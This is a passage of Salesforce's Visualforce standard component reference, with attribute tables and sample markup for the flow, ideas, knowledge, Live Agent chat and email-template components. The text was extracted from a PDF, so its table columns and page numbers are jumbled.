A Boolean value that allows the flow to display the Pause button. The Pause button appears on a flow screen only if this attribute is set to true for the <flow:interview> component, the 'Let Users Pause Flows' setting is enabled for your organization, and the currently displayed screen has been configured to show the Pause button.
The area of the page block where the navigation buttons should be rendered. Possible values include 'top', 'bottom', or 'both'. If not specified, this value defaults to 'both'.
Required?
API
Version
Access
33.0
21.0
21.0
buttonStyle id
String finishLocation
ApexPages.PageReference
A PageReference that can be used to determine where the flow navigates when it finishes.
String
Optional style applied to the command buttons. Can only be used for in-line styling, not for CSS classes.
An identifier that allows the component to be referenced by other components in the page.
21.0
14.0
global interview name showHelp
Flow.Interview
String pausedInterviewId
String rendered
Boolean rerender
Object
Boolean
An object that can be used to represent the FlowInterview.
The unique name of the flow.
Id of a paused interview to resume.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The ID of one or more components that are redrawn when the result of the action method returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs.
Should the help link be displayed.
Yes
21.0
21.0
33.0
14.0
21.0
21.0
global
566
Standard Component Reference ideas:detailOutputLink
ideas:detailOutputLink
A link to the page displaying an idea. Note: To use this component, please contact your salesforce.com representative and request that the Ideas extended standard controllers be enabled for your organization.
detailOutputLink component using the ideas standard controller
<!-- For this example to render properly, you must associate the Visualforce page with a valid idea record in the URL.
For example, if 001D000000IRt53 is the idea ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- Page: detailPage -->
<apex:page standardController= "Idea" >
<apex:pageBlock title= "Idea Section" >
<ideas:detailOutputLink page= "detailPage" ideaId= "{!idea.id}" >{!idea.title} </ideas:detailOutputLink >
<br/ > <br/ >
<apex:outputText >{!idea.body} </apex:outputText >
</apex:pageBlock >
<apex:pageBlock title= "Comments Section" >
<apex:dataList var= "a" value= "{!commentList}" id= "list" >
{!a.commentBody}
</apex:dataList >
</apex:pageBlock >
</apex:page >
Attributes
Attribute Name
id ideaId page pageNumber pageOffset
Attribute Type
String
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
global
The ID for the idea to be displayed.
Yes 35.0
String
ApexPages.PageReference
The Visualforce page whose URL is used for the output link.
This page must use the standard controller.
Integer The desired page number for the comments on the idea detail page (50 per page). E.g. if there are 100 comments, pageNumber="2" would show comments 51-100.
Yes
Integer The desired page offset from the current page. If pageNumber is set, then the pageOffset value is not used. If neither pageNumber nor pageOffset are set, the resulting link does not have a page specified and the controller defaults to the first page.
35.0
35.0
35.0
567
Standard Component Reference ideas:listOutputLink
Attribute Name Attribute Type
rendered style styleClass
Boolean
String
String
Description
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
14.0
global
35.0
The style used to display the detailOutputLink component, used primarily for adding inline CSS styles.
The style class used to display the detailOutputLink component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
35.0
ideas:listOutputLink
A link to the page displaying a list of ideas. Note: To use this component, please contact your salesforce.com representative and request that the Ideas extended standard controllers be enabled for your organization.
listOutputLink component using the ideas standard list controller
<!-- Page: listPage -->
<apex:page standardController= "Idea" recordSetVar= "ideaSetVar" >
<apex:pageBlock >
<ideas:listOutputLink sort= "recent" page= "listPage" >Recent
Ideas </ideas:listOutputLink >
|
<ideas:listOutputLink sort= "top" page= "listPage" >Top Ideas </ideas:listOutputLink >
|
<ideas:listOutputLink sort= "popular" page= "listPage" >Popular
Ideas </ideas:listOutputLink >
|
<ideas:listOutputLink sort= "comments" page= "listPage" >Recent
Comments </ideas:listOutputLink >
</apex:pageBlock >
<apex:pageBlock >
<apex:dataList value= "{!ideaList}" var= "ideadata" >
<apex:outputText value= "{!ideadata.title}" />
</apex:dataList >
</apex:pageBlock >
</apex:page >
Attributes
Attribute Name Attribute Type Description
category
String The desired category for the list of ideas.
Required?
API
Version
Access
35.0
568
Standard Component Reference ideas:profileListOutputLink
Attribute Name
communityId id page pageNumber pageOffset rendered sort
Attribute Type
String
String
ApexPages.PageReference
The Visualforce page whose URL is used for the output link.
This page must use the set oriented standard controller.
Integer
An identifier that allows the component to be referenced by other components in the page.
The desired page number for the list of ideas (20 per page).
E.g. if there are 100 ideas, pageNumber="2" would show ideas
21-40.
Yes
Integer
The ID for the zone in which the ideas are displayed. If communityID is not set, the zone is defaulted to an active zone accessible to the user. If the user has access to more than one zone, the zone whose name comes first in the alphabet is used.
Boolean
String
Description
The desired page offset from the current page. If pageNumber is set, then the pageOffset value is not used. If neither pageNumber nor pageOffset are set, the resulting link does not have a page specified and the controller defaults to the first page.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The desired sort for the list of ideas. Possible values include
"popular", "recent", "top", and "comments."
Required?
API
Version
Access
35.0
14.0
35.0
35.0
35.0
14.0
35.0
global global status
String stickyAttributes
Boolean
35.0
35.0
style styleClass
String
String
The desired status for the list of ideas.
A Boolean value that specifies whether this component should reuse values for communityId, sort, category, and status that are used on the page containing this link.
The style used to display the listOutputLink component, used primarily for adding inline CSS styles.
The style class used to display the listOutputLink component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
35.0
35.0
ideas:profileListOutputLink
A link to the page displaying a user's profile. Note: To use this component, please contact your salesforce.com representative and request that the Ideas extended standard controllers be enabled for your organization.
569
Standard Component Reference ideas:profileListOutputLink profileListOutputLink component using the ideas standard list controller
<!-- Page: profilePage -->
<apex:page standardController= "Idea" recordSetVar= "ideaSetVar" >
<apex:pageBlock >
<ideas:profileListOutputLink sort= "recentReplies" page= "profilePage" >Recent
Replies </ideas:profileListOutputLink >
|
<ideas:profileListOutputLink sort= "ideas" page= "profilePage" >Ideas
Submitted </ideas:profileListOutputLink >
|
<ideas:profileListOutputLink sort= "votes" page= "profilePage" >Ideas
Voted </ideas:profileListOutputLink >
</apex:pageBlock >
<apex:pageBlock >
<apex:dataList value= "{!ideaList}" var= "ideadata" >
<apex:outputText value= "{!ideadata.title}" />
</apex:dataList >
</apex:pageBlock >
</apex:page >
Attributes
Attribute Name
communityId id page pageNumber
Attribute Type
String
String
Description
The ID for the zone in which the ideas are displayed. If communityID is not set, the zone is defaulted to an active zone accessible to the user. If the user has access to more than one zone, the zone whose name comes first in the alphabet is used.
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
35.0
14.0
global
35.0
ApexPages.PageReference
The Visualforce page whose URL is used for the output link.
This page must use the set oriented standard controller.
Integer The desired page number for the list of ideas (20 per page).
E.g. if there are 100 ideas, pageNumber="2" would show ideas
21-40.
Yes
35.0
pageOffset
Integer 35.0
rendered
Boolean
The desired page offset from the current page. If pageNumber is set, then the pageOffset value is not used. If neither pageNumber nor pageOffset are set, the resulting link does not have a page specified and the controller defaults to the first page.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
570
Standard Component Reference knowledge:articleCaseToolbar
Attribute Name Attribute Type
sort stickyAttributes style styleClass userId
String
Boolean
String
String
String
Description
The desired sort for the list of ideas. Possible values include
"ideas", "votes", and "recentReplies."
A Boolean value that specifies whether this component should reuse values for userId, communityId, and sort that are used on the page containing this link.
The style used to display the profileListOutputLink component, used primarily for adding inline CSS styles.
The style class used to display the profileListOutputLink component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The ID of the user whose profile is displayed.
Required?
API
Version
Access
35.0
35.0
35.0
35.0
35.0
knowledge:articleCaseToolbar
UI component used when an article is opened from the case detail page. This component shows current case information and lets the user attach the article to the case.
An example of an 'FAQ' custom article-type template that uses this component
<apex:page standardController= "FAQ__kav" sidebar= "false" >
<knowledge:articleCaseToolbar rendered= "{!$CurrentPage.parameters.caseId != null}" caseId= "{!$CurrentPage.parameters.caseId}" articleId= "{!$CurrentPage.parameters.id}" />
<h1 >{!FAQ__kav.Title} </h1 > <br />
</apex:page >
Attributes
Attribute Name Attribute Type
articleId caseId id includeCSS
String
String
String
Boolean
Description
Id of the current article.
Id of the current case.
An identifier that allows the component to be referenced by other components on the page.
Specifies whether this component must include the CSS.
Default is true.
Required?
API
Version
Access
Yes 35.0
Yes 35.0
14.0
global
35.0
571
Standard Component Reference knowledge:articleList
Attribute Name Attribute Type
rendered
Boolean
Description
Specifies whether the component is rendered on the page.
If not specified, this value defaults to true.
Required?
API
Version
Access
14.0
global
knowledge:articleList
A loop on a filtered list of articles. You can use this component up to four times on the same page. Note that you can only specify one criterion for each data category and that only standard fields are accessible, such as:
•
ID (string): the ID of the article
•
Title (string): the title of the article
•
Summary (string): the summary of the article
•
urlName (string): the URL name of the article
•
articleTypeName (string): the developer name of the article type
•
articleTypeLabel (string): the label of the article type
•
lastModifiedDate (date): the date of the last modification
•
firstPublishedDate (date): the date of the first publication
•
lastPublishedDate (date): the date of the last publication knowledge:articleList example that displays the ten most viewed articles in the 'phone' category as an HMTL list of links. 'phone' is in the 'products' category group.
<apex:outputPanel layout= "block" >
<ul >
<knowledge:articleList articleVar= "article" categories= "products:phone" sortBy= "mostViewed" pageSize= "10"
>
<li > <a href= "{!URLFOR($Action.KnowledgeArticle.View, article.id)}" >{!article.title} </a > </li >
</knowledge:articleList >
</ul >
</apex:outputPanel >
Attributes
Attribute Name Attribute Type Description
articleTypes
String The article list can be filtered by article types.
Required?
API
Version
Access
35.0
572
Standard Component Reference knowledge:articleRendererToolbar
Attribute Name Attribute Type
articleVar categories hasMoreVar id isQueryGenerated keyword language pageNumber pageSize rendered sortBy
String
String
String
String
Boolean
String
String
Integer
Integer
Boolean
String
Description
The name of the variable that can be used to represent the article object in the body of the articleList component.
The article list can be filtered by data categories.
The boolean variable name indicating whether the list contains more articles.
An identifier that allows the component to be referenced by other components in the page.
Flag indicating whether this article list was produced from a generated query that did not originate from the user.
The search keyword if the search is not null. When the keyword attribute is specified, the results are sorted by keyword relevance and the sortBy attribute is ignored.
The language in which the articles must be retrieved.
Required?
API
Version
Access
Yes 35.0
35.0
35.0
14.0
35.0
35.0
global
The current page number.
The number of articles displayed at once. The total number of articles displayed in a page cannot exceed 200.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
35.0
35.0
35.0
14.0
global
The sort value applied to the article list: 'mostViewed,'
'lastUpdated,' and 'title'. When the keyword attribute is specified, the sortBy attribute is ignored.
35.0
knowledge:articleRendererToolbar
Displays a header toolbar for an article. This toolbar includes voting stars, a Chatter feed, a language picklist and a properties panel. Ext
JS versions less than 3 should not be included on pages that use this component.
knowledge:articleRendererToolBar example that displays the toolbar in a custom renderer.
<apex:page standardController= 'FAQ__kav' showHeader= 'false' sidebar= 'false' >
<knowledge:articleRendererToolBar articleId= "{! $CurrentPage.parameters.id}"
/>
</apex:page >
573
Standard Component Reference knowledge:articleTypeList
Attributes
Attribute Name Attribute Type
articleId canVote id includeCSS rendered showChatter
String
Boolean
String
Boolean
Boolean
Boolean
Description
The id of the article.
If true, the vote component is editable. If false, it is readonly.
Required?
API
Version
Access
35.0
35.0
14.0
global An identifier that allows the component to be referenced by other components in the page.
Specifies whether this component must include the CSS
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Set this to true if Chatter is enabled, and the article renderer requires a feed
35.0
14.0
35.0
global
knowledge:articleTypeList
A loop on all available article types.
Simple example to display a list of all the available article types.
<knowledge:articleTypeList articleTypeVar= "articleType" >
{!articleType.label} <br />
</knowledge:articleTypeList >
Attributes
Attribute Name Attribute Type
articleTypeVar id rendered
String
String
Boolean
Description
The name of the variable that can be used to represent the article type object in the body of the articleTypeList component.
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
Yes 35.0
14.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
574
Standard Component Reference knowledge:categoryList
knowledge:categoryList
A loop on a subset of the category hierarchy. The total number of categories displayed in a page cannot exceed 100.
This knowledge:categoryList example displays a list of all the descendents of the 'phone' category. The 'phone' category is in the 'product' category group.
<select name= "category" >
<knowledge:categoryList categoryVar= "category" categoryGroup= "product" rootCategory= "phone" level= "-1" >
<option value= "{!category.name}" >{!category.label} </option >
</knowledge:categoryList >
</select >
Attributes
Attribute Name Attribute Type
ancestorsOf categoryGroup categoryVar id level rendered rootCategory
String
String
String
String
Integer
Boolean
String
Description Required?
API
Version
Access
35.0
If specified, the component will enumerate the category hierarchy up to the root (top-level) category. rootCategory can be used to specify the top-level category.
The category group to which the individual categories belong.
Yes 35.0
35.0
The name of the variable that can be used to represent the article type object in the body of the categoryList component.
Yes
An identifier that allows the component to be referenced by other components in the page.
14.0
global
If specified with rootCategory, the component will stop at this specified depth in the category hierarchy. -1 means unlimited.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
If specified without ancestorsOf, the component will loop on the descendents of this category.
35.0
14.0
35.0
global
liveAgent:clientChat
The main parent element for any Live Agent chat window. You must create this element in order to do any additional customization of
Live Agent.
575
Standard Component Reference liveAgent:clientChatAlertMessage
Live Agent must be enabled for your organization. Note that this component can only be used once in a Live Agent deployment.
Attributes
Attribute Name Attribute Type
id rendered
String
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
liveAgent:clientChatAlertMessage
The area in a Live Agent chat window that displays system alert messages (such as "You have been disconnected").
Must be used within
<liveAgent:clientChat >
. Each chat window can have only one alert message area.
Attributes
Attribute Name Attribute Type
agentsUnavailableLabel chatBlockedLabel connectionErrorLabel dismissLabel id noCookiesLabel noFlashLabel
String
String
String
String
String
String
String
Description
A string specifying the label that appears when all agents become unavailable; the default English label is "Your chat request has been canceled because no agents are available."
Required?
API
Version
Access
27.0
Specifies the message that appears to a customer who has been blocked from chatting with an agent. The default message is "You have been blocked from the chat."
A string specifying the label that appears when there is a connection error; the default English label is "Connection Lost:
Please check your local connection."
27.0
27.0
27.0
A string specifying the label that appears to dismiss the alert; the default English label is "Close."
An identifier that allows the component to be referenced by other components in the page.
A string specifying the label that appears when cookies are disabled; the default English label is "Your browser is not currently accepting cookies. Cookies are required to request a chat. Please enable cookies and try again."
A string specifying the label that appears when Flash is not installed; the default English label is "The Flash Player or an
14.0
27.0
27.0
global
576
Standard Component Reference liveAgent:clientChatCancelButton
Attribute Name Attribute Type
noHashLabel rendered
String
Boolean
Description
HTML5 compatible web browser is necessary to chat. Please install Flash player or use a different web browser."
A string specifying the label that appears when the chat window is improperly launched; the default English label is
"The chat window may only be launched from a button -you cannot access it directly."
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
27.0
14.0
global
liveAgent:clientChatCancelButton
The button within a Live Agent chat window a visitor clicks to cancel a chat session.
Must be used within
<liveAgent:clientChat >
.
Attributes
Attribute Name Attribute Type
id label rendered
String
String
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
global
34.0
The label that appears on the button. The default English label is "Cancel Chat".
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
liveAgent:clientChatEndButton
The button within a Live Agent chat window a visitor clicks to end a chat session.
Must be used within
<liveAgent:clientChat >
.
577
Standard Component Reference liveAgent:clientChatFileTransfer
Attributes
Attribute Name Attribute Type
id label rendered
String
String
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
A string specifying the label that appears on the button; the default English label is "End Chat".
Required?
API
Version
Access
14.0
global
24.0
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
liveAgent:clientChatFileTransfer
The file upload area in a Live Agent chat window where a visitor can send a file to an agent.
Must be used within
<liveAgent:clientChat >
. Each chat window can have only one file upload.
Attributes
Attribute Name Attribute Type
fileTransferCanceledLabel fileTransferCancelFileLabel fileTransferDropFileLabel fileTransferFailedLabel fileTransferSendFileLabel fileTransferSuccessfulLabel fileTransferUploadLabel
String
String
String
String
String
String
String
Description
A string specifying the message that appears in the chat log when the file transfer request is canceled; the default English label is "The agent has canceled the file transfer request.".
Required?
API
Version
Access
30.0
30.0
A string specifying the label for the button to be clicked to cancel the file transfer; the default English label is "Cancel".
A string specifying the label that indicates where the file can be dropped; the default English label is "Drop here.".
A string specifying the message that appears in the chat log when the file transfer fails; the default English label is "Your file upload failed. Please wait for instructions from the agent.".
30.0
30.0
30.0
A string specifying the label for the button to be clicked to upload the file; the default English label is "Send File".
A string specifying the message that appears in the chat log when the file transfer is successful; the default English label is "Your file has been successfully uploaded to the agent.".
A string specifying the label that appears as a link which can be clicked to select a file to be uploaded; the default English label is "Upload or drag your file here.".
30.0
30.0
578
Standard Component Reference liveAgent:clientChatInput
Attribute Name Attribute Type
id rendered
String
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
liveAgent:clientChatInput
The text box in a Live Agent chat window where a visitor types messages to an agent.
Must be used within
<liveAgent:clientChat >
. Each chat window can have only one input box.
Attributes
Attribute Name Attribute Type
autoResizeElementId id rendered useMultiline
String
String
Boolean
Boolean
Description
Specifies the HTML element that should be dynamically resized when the transcript exceeds a certain length.
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
24.0
14.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Specifies whether a customer chat window supports a multiple-line text input field (true) or not (false).
14.0
24.0
global
liveAgent:clientChatLog
The area in a Live Agent chat window that displays the chat transcript to a visitor.
Must be used within
<liveAgent:clientChat >
. Each chat window can have only one chat log.
Attributes
Attribute Name Attribute Type
agentTypingLabel
String
Description
A string specifying the label that appears when the agent is typing a message; the default English label is "The agent is typing."
Required?
API
Version
Access
24.0
579
Standard Component Reference liveAgent:clientChatLogAlertMessage
Attribute Name Attribute Type
chatEndedByAgentLabel chatEndedByVisitorIdleTimeoutLabel chatEndedByVisitorLabel chatTransferredLabel combineMessagesText id rendered showTimeStamp visitorNameLabel
String
String
String
String
Boolean
String
Boolean
Boolean
String
Description
A string specifying the label that appears when the agent has ended the chat; the default English label is "The chat has been ended by the agent."
Required?
API
Version
Access
24.0
A string specifying the label that appears when the chat is ended by visitor idle (customer) time-out; the default English label is "Chat session ended by visitor idle time-out."
24.0
A string specifying the label that appears when the visitor has ended the chat; the default English label is "You've ended the chat."
A string specifying the label that appears when the chat has been transferred to a new agent; the default English label is
"{OperatorName} is your new agent for the chat session."
({OperatorName} defaults to '[First Name] [Last Initial]' of the
Salesforce user or the Custom Agent Name as set in the Live
Agent Configuration.)
Specifies whether the chat log displayed in the customer chat window should support combined messages based on the user ID (true) or not (false). Note: If you turn this on for existing custom chat windows, it will change your markup and you may need to modify your CSS.
24.0
24.0
24.0
An identifier that allows the component to be referenced by other components in the page.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Specifies whether the chat log displayed in the customer chat window should display the timestamp text input field (true) or not (false).
A string specifying the label that appears next to the messages that the visitor sends; the default English label is "Me".
14.0
14.0
24.0
24.0
global global
liveAgent:clientChatLogAlertMessage
The area in a Live Agent chat window that displays the idle time-out alert (customer warning) to a visitor.
Must be used within
<liveAgent:clientChat >
. Each chat window can have only one idle time-out alert.
580
Standard Component Reference liveAgent:clientChatMessages
Attributes
Attribute Name Attribute Type
autoResizeElementId id rendered respondToChatLabel respondWithinTimeLabel
String
String
Boolean
String
String
Description
Specifies the ID of the sibling HTML element that should be dynamically resized when the chat log alert height changes.
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
35.0
14.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
A string specifying the label that appears on the chat window title during the customer time-out warning; the default
English label is "Respond to Chat"
A string specifying the label that appears as a warning during customer time-out; the default English label is "Are you still there? Please respond within <span id="liveAgentChatLogAlertTimer">{Time}</span> or this chat will time out." {Time} presents a countdown timer to the visitor.
35.0
35.0
liveAgent:clientChatMessages
The area in a Live Agent chat window that displays system status messages (such as "Chat session has been disconnected").
Must be used within
<liveAgent:clientChat >
. Each chat window can have only one message area.
Attributes
Attribute Name Attribute Type
id rendered
String
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
14.0
global
14.0
global
liveAgent:clientChatQueuePosition
A text label indicating a visitor's position within a queue for a chat session initiated via a button that uses push routing. (On buttons that use pull routing, this component has no effect.)
581
Standard Component Reference liveAgent:clientChatSaveButton
Must be used within
<liveAgent:clientChat >
.
Attributes
Attribute Name Attribute Type
id label rendered
String
String
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
global
24.0
A string specifying the label that appears to display the queue position; the default English label is "".
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
liveAgent:clientChatSaveButton
The button in a Live Agent chat window a visitor clicks to save the chat transcript as a local file.
Must be used within
<liveAgent:clientChat >
. Each chat window can have multiple save buttons.
Attributes
Attribute Name Attribute Type
id label rendered
String
String
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
global
24.0
A string specifying the label that appears on the button; the default English label is "Save Chat".
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
liveAgent:clientChatSendButton
The button in a Live Agent chat window a visitor clicks to send a chat message to an agent.
Must be used within
<liveAgent:clientChat >
. Each chat window can have multiple send buttons.
582
Standard Component Reference liveAgent:clientChatStatusMessage
Attributes
Attribute Name Attribute Type
id label rendered
String
String
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
A string specifying the label that appears on the button; the default English label is "Send".
Required?
API
Version
Access
14.0
global
24.0
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
liveAgent:clientChatStatusMessage
The area in a Live Agent chat window that displays system status messages (such as "You are being reconnected").
Must be used within
<liveAgent:clientChat >
. Each chat window can have only one status message area.
Attributes
Attribute Name Attribute Type
id reconnectingLabel rendered
String
String
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
global
27.0
A string specifying the label that appears when there is network latency or disruption; the default English label is
"You've been disconnected from the agent. Please wait while we attempt to re-establish the connection..."
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
messaging:attachment
Compose an attachment and append it to the email.
Example
<messaging:emailTemplate recipientType= "Contact" relatedToType= "Account" subject= "Case report for Account: {!relatedTo.name}"
583
Standard Component Reference messaging:attachment replyTo= "[email protected]" >
<messaging:htmlEmailBody >
<html >
<body >
<p >Dear {!recipient.name}, </p >
<p >Attached is a list of cases related to {!relatedTo.name}.
</p >
<center >
<apex:outputLink value= "http://www.salesforce.com" >
For more detailed information login to Salesforce.com
</apex:outputLink >
</center >
</body >
</html >
</messaging:htmlEmailBody >
<messaging:attachment renderAs= "PDF" filename= "yourCases.pdf" >
<html >
<body >
<p >You can display your {!relatedTo.name} cases as a PDF </p >
<table border= "0" >
<tr >
<th >Case Number </th > <th >Origin </th >
<th >Creator Email </th > <th >Status </th >
</tr >
<apex:repeat var= "cx" value= "{!relatedTo.Cases}" >
<tr >
<td > <a href =
"https://na1.salesforce.com/{!cx.id}" >{!cx.CaseNumber}
</a > </td >
<td >{!cx.Origin} </td >
<td >{!cx.Contact.email} </td >
<td >{!cx.Status} </td >
</tr >
</apex:repeat >
</table >
</body >
</html >
</messaging:attachment >
</messaging:emailTemplate >
Attributes
Attribute Name Attribute Type
filename id
String
String
Description
Sets a file name on the attachment. If a filename is not provided, one will be generated for you.
An identifier that allows the attachment component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
14.0
global
584
Standard Component Reference messaging:emailHeader
Attribute Name Attribute Type
inline renderAs rendered
Boolean
String
Boolean
Description
Sets the content-disposition of the attachment in the email to Inline.
Required?
API
Version
Access
17.0
14.0
Indicates how the attachment should be rendered. Valid values are any mime type/subtype. The default value is 'text'.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
messaging:emailHeader
Adds a custom header to the email. The body of a header is limited to 1000 characters.
Example
<messaging:emailTemplate recipientType= "Contact" relatedToType= "Account" subject= "Testing a custom header" replyTo= "[email protected]" >
<messaging:emailHeader name= "customHeader" >
BEGIN CUSTOM HEADER
Account Id: {!relatedTo.Id}
END CUSTOM HEADER
</messaging:emailHeader >
<messaging:htmlEmailBody >
<html >
<body >
<p >Dear {!recipient.name}, </p >
<p >Check out the header of this email!
</p >
</body >
</html >
</messaging:htmlEmailBody >
</messaging:emailTemplate >
The example above renders the following HTML:
Date: Thu, 5 Feb 2009 19:35:59 +0000
From: Admin User <[email protected]
>
Sender: <[email protected]
>
Reply-To: [email protected]
To: "[email protected]" <[email protected]
>
Message-ID: <19677436.41233862559806.JavaMail.admin@admin-WS>
Subject: Testing a custom header
MIME-Version: 1.0
Content-Type: multipart/alternative;
585
Standard Component Reference messaging:emailTemplate boundary= "----=_Part_8_14667134.1233862559806"
X-SFDC-X-customHeader: BEGIN CUSTOM HEADER Account Id: 001x000xxx3BIdoAAG END CUSTOM HEADER
X-SFDC-LK: 00Dx000000099jh
X-SFDC-User: 005x0000000upVu
X-Sender: [email protected]
X-mail_abuse_inquiries: http: //www.salesforce.com/company/abuse.jsp
X-SFDC-Binding: 1WrIRBV94myi25uB
X-OriginalArrivalTime: 05 Feb 2009 19:35:59.0747 (UTC) FILETIME= [F8FF7530:01C987C8]
X-MS-Exchange-Organization-SCL: 0
Attributes
Attribute Name Attribute Type
id name rendered
String
String
Boolean
Description
An identifier that allows the emailHeader component to be referenced by other components in the page.
The name of the header. Note: X-SFDC-X- is prepended to the name.
Required?
API
Version
Access
14.0
global
Yes 14.0
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
messaging:emailTemplate
Defines a Visualforce email template. All email template tags must be wrapped inside a single emailTemplate component tag.
emailTemplate must contain either an htmlEmailBody tag or a plainTextEmailBody tag. The detail and form components are not permitted as child nodes. This component can only be used within a Visualforce email template. Email templates can be created and managed through Setup | Communication Templates | Email Templates.
Example
<messaging:emailTemplate recipientType= "Contact" relatedToType= "Account" subject= "Your account's cases" replyTo= "[email protected]" >
<messaging:htmlEmailBody >
<html >
<body >
<p >Hello {!recipient.name}-</p >
<p >Here is a list of the cases we currently have for account {!relatedTo.name}: </p >
<apex:datatable cellpadding= "5" var= "cx" value= "{!relatedTo.Cases}" >
<apex:column value= "{!cx.CaseNumber}" headerValue= "Case Number" />
<apex:column value= "{!cx.Subject}" headerValue= "Subject" />
<apex:column value= "{!cx.Contact.email}" headerValue= "Creator's Email" />
586
Standard Component Reference messaging:emailTemplate
<apex:column value= "{!cx.Status}" headerValue= "Status" />
</apex:datatable >
</body >
</html >
</messaging:htmlEmailBody >
<messaging:attachment renderas= "pdf" filename= "cases.pdf" >
<html >
<body >
<h3 >Cases currently associated with {!relatedTo.name} </h3 >
<apex:datatable border= "2" cellspacing= "5" var= "cx" value= "{!relatedTo.Cases}" >
<apex:column value= "{!cx.CaseNumber}" headerValue= "Case Number" />
<apex:column value= "{!cx.Subject}" headerValue= "Subject" />
<apex:column value= "{!cx.Contact.email}" headerValue= "Creator's Email" />
<apex:column value= "{!cx.Status}" headerValue= "Status" />
</apex:datatable >
</body >
</html >
</messaging:attachment >
<messaging:attachment filename= "cases.csv" >
<apex:repeat var= "cx" value= "{!relatedTo.Cases}" >
{!cx.CaseNumber}, {!cx.Subject}, {!cx.Contact.email}, {!cx.Status}
</apex:repeat >
</messaging:attachment >
</messaging:emailTemplate >
Translated Template Example
<!-- This example requires that Label Workbench is enabled and that you have created the referenced labels. The example assumes that the Contact object has a custom language field that contains a valid language key. -->
<messaging:emailTemplate recipientType= "Contact" relatedToType= "Account" language= "{!recipient.language__c}" subject= "{!$Label.email_subject}" replyTo= "[email protected]" >
<messaging:htmlEmailBody >
<html >
<body >
<p >{!$Label.email_greeting} {!recipient.name}-</p >
<p >{!$Label.email_body} </p >
</body >
</html >
</messaging:htmlEmailBody >
</messaging:emailTemplate >
587
Standard Component Reference messaging:htmlEmailBody
Attributes
Attribute Name Attribute Type
id language recipientType relatedToType rendered replyTo subject
String
String
String
String
Boolean
String
String
Description
An identifier that allows the emailTemplate component to be referenced by other components in the page.
The language used to display the email template. Valid values:
Salesforce.com-supported language keys, for example, "en" or "en-US". Accepts merge fields from recipientType and relatedToType.
The Salesforce.com object receiving the email.
Required?
API
Version
Access
14.0
global
18.0
14.0
14.0
The Salesforce.com object from which the template retrieves merge field data. Valid objects: objects that have a standard controller, including custom objects Visualforce supports.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Sets the reply-to email header.
Sets the email subject line. Limit: 100 characters.
Yes
14.0
14.0
14.0
global
messaging:htmlEmailBody
The HTML version of the email body.
Example
<messaging:emailTemplate recipientType= "Contact" relatedToType= "Account" subject= "Case report for Account: {!relatedTo.name}" replyTo= "[email protected]" >
<messaging:htmlEmailBody >
<html >
<style type= "text/css" > body {font-family: Courier; size: 12pt;} table { border-width: 5px; border-spacing: 5px; border-style: dashed; border-color: #FF0000; background-color: #FFFFFF;
} td {
588
Standard Component Reference border-width: 1px; padding: 4px; border-style: solid; border-color: #000000; background-color: #FFEECC;
}
</style >
<body > th { color: #000000; border-width: 1px ; padding: 4px ; border-style: solid ; border-color: #000000; background-color: #FFFFF0;
}
<p >Dear {!recipient.name}, </p >
<p >Below is a list of cases related to {!relatedTo.name}.
</p >
<table border= "0" >
<tr >
<th >Case Number </th > <th >Origin </th >
<th >Creator Email </th > <th >Status </th >
</tr >
<apex:repeat var= "cx" value= "{!relatedTo.Cases}" >
<tr >
<td > <a href =
